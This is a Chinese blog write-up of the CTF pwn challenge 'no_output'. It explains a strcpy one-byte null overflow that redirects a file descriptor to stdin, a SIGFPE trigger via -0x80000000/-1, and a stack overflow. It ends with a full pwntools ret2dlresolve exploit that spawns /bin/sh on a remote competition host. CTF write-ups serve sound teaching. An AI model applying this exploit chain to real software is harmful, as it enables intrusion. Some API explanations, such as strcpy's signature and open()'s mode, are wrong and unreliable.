PWN题[强网先锋]no_output

博客分析了一段C代码,其中涉及strcpy函数可能导致的单字节溢出,以及如何利用这个漏洞绕过字符串比较并触发信号处理。通过构造特定输入,可以改变fd值,使得程序从标准输入读取内容,然后利用SIGFPE浮点异常触发信号,最终实现栈溢出攻击。解决方案是构造特定输入,触发浮点异常SIGFPE,以执行后续的栈溢出利用。
摘要由CSDN通过智能技术生成

知识点

strcpy(dest, src)
strcpy 函数用于将指定长度的字符串复制到字符数组里
语法形式为:char *strcpy(char *dest, const char *src, int n),
表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里,并返回被复制后的dest。
strcpy:strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符
例:strcpy(a,b) b为源字符串,a为复制b的字符串

read(unk_804C080, src, 0x10u):
unk_804C080的值被赋值为real_flag.txt里的内容
因为
result = open(“real_flag.txt”, 1);
unk_804C080 = result;

类型sighandler_t,表示指向返回值为void型(参数为int型)的函数(的)指针。它用来声明一个或多个函数指针。
sighandler_t sig1, sig2; 这个声明等价于下面的写法:
void (*sig1)(int), (*sig2)(int);

if ( v1 )
{
signal(8, (__sighandler_t)sub_8049236);
v2[1] = v2[0] / (int)v1;
result = signal(8, 0);
}

C语言里的信号signal():
信号是程序执行过程里出现的异常情况。它可能是由程序里的错误造成的,例如引用内存里的一个非法地址;或者是由程序数据里的错误造成的,例如浮点数被0除;或者是由外部事件引发的,例如用户按了Ctrl+Break键。
signal()的原型为:
#include <signal.h>
void(*signal(int hum,void(*func)(int)))(int);
这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef,理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针,该函数有一个int类型的参数,并且返回一个void类型:
typedef void(*sigHandler_t)(int);
sigHandler_t signal(int num , sigHandler_t func);

解题流程

首先先查看保护机制
在终端输入checksec ./test
在这里插入图片描述
IDA32位打开:
伪码:
main:
在这里插入图片描述
点击sub_8049424():
在这里插入图片描述
0x30=48
0x20=32
0x10=16

下面查看main的子程序:

(1)
在这里插入图片描述
result = open(“real_flag.txt”, 1); 对real_flag.txt文件只读
result被赋值为从real_flag.txt文件的内容

(2)
sub_80493EC(src);
点开sub_80493EC():
在这里插入图片描述
(3)
sub_8049385(src, off_804C034)
src为由read(unk_804C080, src, 0x10u)获取到的flag内容
因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里
点开sub_8049385()
在这里插入图片描述
(3)
if ( !result )
result = sub_8049269();
点开sub_8049269()
在这里插入图片描述

漏洞分析

在这里插入图片描述
在这里,标准输入会跟打开的文件里面的字符串进行比较,比较成功才会进入下一步
在这里插入图片描述
在这里插入图片描述
但是我们发现上面用了一个strcpy函数,strcpy存在单字节的溢出,这个函数会用’\x00’结尾,我们可以在上面让dest的后面一个字节为’\x00’,以覆盖fd,改为0后可以直接从stdin读入内容,从而通过strcmp的检测。
在这里插入图片描述
绕开比较进入函数之后是一个signal,必须触发这个signal 8号信号才能进入最后的函数。

signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

解决方案

不能除0,就构造溢出。

需要触发算数异常SIGFPE,可以通过-0x80000000/-1触发,触发后可以直接执行一个栈溢出;由于程序里没有输出函数,无法leak函数,所以使用ret2dlresolve方法直接getshell
在这里插入图片描述
exp

from pwn import *
from roputils import *
import time

rop = ROP('./test')
#p = process('./test')
p = remote("39.105.138.97",1234)
context.log_level='debug'

p.send(p32(0))
sleep(1)
p.send("a"*32)
sleep(1)
p.send('hello_boy')
sleep(1)
p.send(str(int(-2147483648)))
sleep(1)
p.send(str(int(-1)))
sleep(1)

offset = 77
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
p.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
p.send(buf)

p.interactive()

flag值为:qwb{n0_1nput_1s_great!!!}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值